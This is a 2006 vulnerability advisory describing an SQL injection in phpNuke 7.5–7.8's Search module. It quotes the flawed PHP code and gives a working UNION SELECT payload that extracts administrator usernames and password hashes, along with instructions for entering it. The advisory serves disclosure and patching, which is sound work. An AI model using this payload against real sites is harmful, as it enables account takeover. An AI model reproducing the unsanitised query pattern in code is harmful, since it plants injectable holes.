{================================================================================}
{                              [waraxe-2006-SA#046]                              }
{================================================================================}
{                                                                                }
{                  [ Critical sql injection in phpNuke 7.5-7.8 ]                 }
{                                                                                }
{================================================================================}
                                                                                                     
                           
Author: Janek Vind "waraxe"
Date: 19. February 2006
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-46.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

phpNuke 7.5 - 7.8

Homepage: http://phpnuke.org/


What is phpNuke ?

PHP-Nuke is a news automated system specially designed to be used in Intranets and
Internet. The Administrator has total control of his web site, registered users, and
he will have in the hand a powerful assembly of tools to maintain an active and 100%
interactive web site using databases.


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This particular advisory will address critical sql injection case in "Search" module.
Versions 7.5 - 7.8 are affected, older versions contain different code implementation
and are not affected by bug. Newest version 7.9 is not vulnerable too.



Details
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let's start by looking at "modules/Search/index.php" code in older nuke versions, in this
example, 7.1 :

----------------[ from source code ]------------------

$query = addslashes($query);

if ($type=="stories" OR !$type) {

		if ($category > 0) {
		    $categ = "AND catid=$category ";
		} elseif ($category == 0) {
		    $categ = "";
		}
   $q = "select s.sid, s.aid, s.informant, s.title, s.time, s.hometext,
 s.bodytext, a.url, s.comments, s.topic from ".$prefix."_stories s, ".$prefix."_a
uthors
 a where s.aid=a.aid $queryalang $categ";
     if (isset($query)) $q .= "AND (s.title LIKE '%$query%' OR s.hometext LIKE
 '%$query%' OR s.bodytext LIKE '%$query%' OR s.notes LIKE '%$query%') ";
       if ($author != "") $q .= "AND s.aid='$author' ";

----------------[ /from source code ]-----------------

As we can see, "addslashes()" is used against "$query" variable, so sql injection
 is not
possible. Now let's peek at the same code fragment in newer phpnuke version, in this
specific case - 7.5 :


----------------[ from source code ]------------------

$query = stripslashes(check_html($query, "nohtml"));

if ($type=="stories" OR !$type) {

	if ($category > 0) {
	    $categ = "AND catid='$category' ";
	} else {
		   $categ = "";
	}
  $q = "select s.sid, s.aid, s.informant, s.title, s.time, s.hometext,
 s.bodytext, a.url, s.comments, s.topic from ".$prefix."_stories s, ".$prefix."_a
uthors
 a where s.aid=a.aid $queryalang $categ";
  if (isset($query)) $q .= "AND (s.title LIKE '%$query%' OR s.hometext LIKE
 '%$query%' OR s.bodytext LIKE '%$query%' OR s.notes LIKE '%$query%') ";
  if ($author != "") $q .= "AND s.aid='$author' ";
----------------[ /from source code ]-----------------

Any difference? Only the first line:

$query = stripslashes(check_html($query, "nohtml"));

Well, i really don't know, what was thinking the person, who changed this little code
snippet. But the truth is, that very big hole to phpnuke installation is opened and it exists
in versions 7.5, 7.6, 7.7 and 7.8  ;) 

So - is this exploitable? Yes, if we have mysql version 4.x with UNION support, if we can avoid
potential anti-sql-injection filters/traps/ids/ips and if sql table name prefix is not changed.

Example proof of concept exploit? Here it is: 

[------ real life exploit ------]

p0hh0nsee%') UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*

[----- /real life exploit ------]
 
For exploiting just enter this string to search field in "modules.php?name=Search" page:

http://www.waraxe.us/~kama/wsa-46-01.png

and if it works, you will see usernames and password hashes of ALL admins ;)

http://www.waraxe.us/~kama/wsa-46-02.png


See ya s00n and have a nice day ;)



How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Download 7.9 version. Or patch manually that flawed codeline.


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greetz to LINUX, Heintz, y3dips, shai-tan, slimjim100, zer0-c00l and
all other active members from waraxe forum !

Raido Kerna - tervitused!


Additional resources:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

DX expeditions database - http://www.dxdb.com/

HDD data recovery - http://www.hdd911.com/



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    come2waraxe@yahoo.com
    Janek Vind "waraxe"

    Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------